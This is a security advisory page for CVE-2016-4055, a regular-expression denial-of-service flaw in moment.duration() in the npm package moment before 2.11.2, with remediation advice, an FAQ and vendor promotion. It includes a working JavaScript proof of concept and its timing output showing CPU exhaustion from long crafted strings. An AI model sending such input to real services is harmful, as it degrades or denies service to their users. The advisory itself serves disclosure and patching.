CVE-2016-4055

CVE-2016-4055 is a medium-severity uncontrolled resource consumption vulnerability in moment (npm), affecting versions < 2.11.2. It is fixed in 2.11.2.

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Summary

Regular Expression Denial of Service in moment

Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().

Proof of concept

var moment = require('moment');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=20000;i<=10000000;i=i+10000) {
    console.log("COUNT: " + i);
    var str = '-' + genstr(i, '1')
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    moment.duration(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results

$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]

Impact

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2016-4055 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.11.2); upgrading removes the vulnerable code path.

Affected versions

moment (< 2.11.2)

Security releases

moment → 2.11.2 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

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Remediation advice

Please update to version 2.11.2 or later.

Frequently Asked Questions

  1. What is CVE-2016-4055? CVE-2016-4055 is a medium-severity uncontrolled resource consumption vulnerability in moment (npm), affecting versions < 2.11.2. It is fixed in 2.11.2. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
  2. How severe is CVE-2016-4055? CVE-2016-4055 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of moment are affected by CVE-2016-4055? moment (npm) versions < 2.11.2 is affected.
  4. Is there a fix for CVE-2016-4055? Yes. CVE-2016-4055 is fixed in 2.11.2. Upgrade to this version or later.
  5. Is CVE-2016-4055 exploitable, and should I be worried? Whether CVE-2016-4055 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2016-4055 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2016-4055? Upgrade moment to 2.11.2 or later.

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